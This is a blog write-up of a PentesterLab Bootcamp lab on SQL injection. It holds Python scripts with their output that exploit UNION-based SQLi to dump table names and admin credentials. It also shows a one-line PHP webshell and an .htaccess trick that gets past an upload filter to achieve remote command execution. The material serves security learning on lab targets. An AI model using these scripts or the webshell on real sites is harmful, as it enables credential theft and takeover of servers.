== PentesterLab Bootcamp - More SQL Injection ==

19 Jul 2017

--------------------------------

This is part 6 of my write-up of PentesterLab’s Bootcamp course. If you see any errors or want to suggest I do something different, please contact me to let me know.

Write-up parts 1, 2, 3, 4, 5.1, 5.2, 6.

--------------------------------

                   * * * [ DISCLAIMER ] * * *
/*
 * All information in this write-up is, to the best of my knowledge,  
 * truthful and accurate. However, I am only new to this, and I am   
 * learning as I go, so it is entirely possible something contained  
 * within this write-up is incorrect in some way. Never execute any  
 * command, without knowing for sure what it is you are doing. Look  
 * at the man pages of all commands if you do not understand them.  
 *
 * I take no responsibility if you decide to use this information   
 * to commit illegal acts. If you attempt to use these techniques  
 * against devices or networks you do not either own, or have    
 * permission to attack, you could end up in prison.  
 *
 */  

--------------------------------

--[ Step 6 ]

In this step we will investigate some more SQL injection by scripting the previously completed From SQLi to Shell, completing another SQLi course, From SQLi to Shell: PostgreSQL Edition without following the course, and testing the website we built previously for SQLi and XSS vulnerablities.

--------------------------------

--[ Scripting From Sql Injection to Shell ]

This module asks us to “fully script” the From SQLi to Shell exercise.

It is easy to script the injection when you know the vulnerable URL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
# SQLi to Shell Script
# www.maxmunday.com 

import urllib2
import re

url = urllib2.urlopen("http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,concat(login,%27:%27,password),3,4%20FROM%20users;")

r = url.read()

creds = "admin:.+"
search = re.search(creds, r)

if search:
    print "[+] Admin credentials found"
    print "[+]", search.group(0)

else:
    print "[!] No credentials found"

Giving us

$ python sqli2shell.py
[+] Admin credentials found 
[+] admin:8efe310f9ab3efeae8d410a8e0166eb2

But there’s not a lot of satisfaction in this.

So I started to code a script that would probe for the vulnerabilty incrementally. But where does it stop? Should I assume knowledge of the SQL database type? Different names of columns and tables?

I can’t code up another SQLMap.

So I thought I would just play around with it, and script as much as I can about discovering the SQLi vulnerablity piece by piece.

First we should test for SQLi vulnerabilty (whether a single quote (‘) invokes a SQL error)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
# SQLi to Shell Script
# www.maxmunday.com 
import urllib2
import re

url = "http://vulnerable/cat.php?id=1"

r = urllib2.urlopen(url + "'")
b = r.read()

print "[+] Checking website for SQL injection vulnerablity..."

if "You have an error in your SQL syntax" in b:
    print "[+] Website is vulnerable to SQL injection"
else:
    print "[!] This website is not vulnerable to SQL injection"

Which results in

$ python sqli2shell.py
[+] Checking website for SQL injection vulnerablity...  
[+] Website is vulnerable to SQL injection

We can check the number of columns

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/python
# SQLi to Shell Script
# www.maxmunday.com 
import urllib2
import re

print "[+] Checking number of columns..."

unknown_columns = True

while unknown_columns:

    wrong_columns = "different number of columns"

    # 1 column
    build_url = "http://vulnerable/cat.php?id=1%20UNION%20SELECT%201"

    r = urllib2.urlopen(build_url)
    b = r.read()

    search = re.search(wrong_columns, b)

    if search:
        print "    [+] More than 1 column"
    else:
        print "    [+] 1 columns in database!"
        unknown_columns = False

    # 2 columns
    build_url = build_url + ",%202"
    r = urllib2.urlopen(build_url)
    b = r.read()

    search = re.search(wrong_columns, b)

    if search:
        print "    [+] More than 2 columns"
    else:
        print "    [+] 2 columns in database!"
        unknown_columns = False

    # 3 columns
    build_url = build_url + ",%203"
    r = urllib2.urlopen(build_url)
    b = r.read()

    search = re.search(wrong_columns, b)

    if search:
        print "    [+] More than 3 columns"
    else:
        print "    [+] 3 columns in database!"
        unknown_columns = False

    # 4 columns
    build_url = build_url + ",%204"
    r = urllib2.urlopen(build_url)
    b = r.read()

    search = re.search(wrong_columns, b)

    if search:
        print "    [+] More than 4 columns"
    else:
        print "    [+] 4 columns in database!"
        unknown_columns = False

And it discovers the 4 columns

$ python sqli2shell.py
[+] Checking number of columns...
    [+] More than 1 column
    [+] More than 2 columns
    [+] More than 3 columns
    [+] 4 columns in database!

We can test which column displays the injected data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python
# SQLi to Shell Script
# www.maxmunday.com 
import urllib2
import re

# discover displaying column
print "[+] Checking displaying column..."

display = "5.1.63-0"
url = "http://vulnerable/cat.php?id=1%20UNION%20SELECT%20"
unknown_display = True

while unknown_display:
    
    # 1st column displays
    r = urllib2.urlopen(url+"version(),2,3,4")
    b = r.read()
    search = re.search(display, b)

    if search:
        print "    [+] First column displays data!"
        unknown_display = False
    else:
        print "    [+] No data printed in first column"

    # 2nd column displays
    r = urllib2.urlopen(url+"1,version(),3,4")
    b = r.read()
    search = re.search(display, b)

    if search:
        print "    [+] Second column displays data!"
        unknown_display = False
    else:
        print "    [+] No data printed in second column"

    # 3rd column displays
    r = urllib2.urlopen(url+"1,2,version(),4")
    b = r.read()
    search = re.search(display, b)

    if search:
        print "    [+] Third column displays data!"
        unknown_display = False
    else:
        print "    [+] No data printed in third column"

    # 4th column displays
    r = urllib2.urlopen(url+"1,2,3,version()")
    b = r.read()
    search = re.search(display, b)

    if search:
        print "    [+] Fourth column displays data!"
        unknown_display = False
    else:
        print "    [+] No data printed in fourth column"

Which shows

$ python sqli2shell.py
[+] Checking displaying column...
    [+] No data printed in first column
    [+] Second column displays data!
    [+] Third column displays data!
    [+] No data printed in fourth column

Now, this script to pull the table and column names is a little messy, but it gets the job done.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
# SQLi to Shell Script
# www.maxmunday.com 
import urllib2
import re

# discover table and coumn names

print "[+] Checking column and table names..."

names = "users:.+"
url = "http://10.0.0.16/cat.php?id=1%20UNION%20SELECT%20"

r = urllib2.urlopen(url+"1,concat(table_name,%27:%27,column_name),3,4%20FROM%20information_schema.columns")
b = r.read()
search = re.findall(names, b)

if search:
    print "[+] Table name : Column name"
    print "[+]", search

Which kicks back

$ python sqli1.py 
[+] Checking column and table names...
[+] Table name : Column name
[+] 'users:id</h2>', 'users:id" /></p>', 
    'users:login</h2>', 'users:login" /></p>', 
    'users:password</h2>', 'users:password" /></p>'

Now with all that information you can put it together and pull the admin credentials. I am not sure if that is exactly what the exercise is about, but I learned a lot and it was fun.

And in the end isn’t that the real truth. The answer of course, is no.

--------------------------------

--[ From SQL Injection to Shell: PostgreSQL Edition ]

The Bootcamp asks us to compelete this exercise without reading the course. It’s quite similar to the previous exercise From SQLi to Shell.

So we can start by trying to detect where the SQLi vulnerabilty lies. We can navigate to /cat.php?id=1 and test to perform some mathematical operations. We can see that /cat.php?id=2-1 displays the same image as /cat.php?id=1 so we can attempt to exploit this page.

We can use the UNION SELECT keyword to guess the number of columns. This is where it differs slightly from the first SQLi exercise.

Adding integers into the query kicks back several errors, so we can try with strings instead. Trying different combinations until there are no errors we get /cat.php?id=1 UNION SELECT 1, 'a', 'a', 1.

We can then test each column to see which one is displayed in the browser. We get a result with cat.php?id=1 UNION SELECT 1,current_user,'a',1.

With this we can start getting some information about the table and column names.

Firstly, I need to get some information about the version of PostgreSQL to read up on its documentation as its syntax may be diferent from what I am used to.

Using this information we can get the table name.

And then the columns within this table by combining the table_name and column_name using the concatenator ||':'||. Then we can find the columns by searching for users.

Then we can pull the information from this table using the same method. The column names login and password from the table users can be concatenated using ||':'||.

Now we have the hashed password we can use John-The-Ripper to crack it.

Now we can log into the Admin portal and attempt to upload our webshell.

1
2
3
<?php
  system($_GET['cmd']);
?>

We are unable to upload a .php file without an error occuring. I tried appending different file extensions to get around it but was unsuccessful. So I had to take a peak a the course for the solution.

We have to upload a .htaccess file to modify the Apache configuration to alllow .blah files to be interpreted using the PHP engine.

We add the following to the .htaccess file:

AddType application/x-httpd-php .blah

We upload that, rename our webshell shell.blah and upload that. We then navigate to the path where the file is located and we get our remote command execution.

--------------------------------

--[ SQLi and XSS Vulnerablities ]

We will check the website we built in Step 3 for SQLi and XSS vulnerabilities.

Using the same SQLi detection techniques we can surmise that the article.php page is vulnerable.

Similarly, we can see that the post.php and the hello.php are both vulnerable to XSS.

You gotta sanitise that user input!

--------------------------------

/*** Part 1 - Linux and Scripting ***/

/*** Part 2 - HTTP ***/

/*** Part 3 - PHP and DNS ***/

/*** Part 4 - SSL/TLS ***/

/*** Part 5.1 - SQL Injection ***/

/*** Part 5.2 - Local File Include ***/

/*** Part 7- FTP and Traffic Analysis COMING SOON ***/

--------------------------------


Creative Commons License Creative Commons Attribution 4.0 International License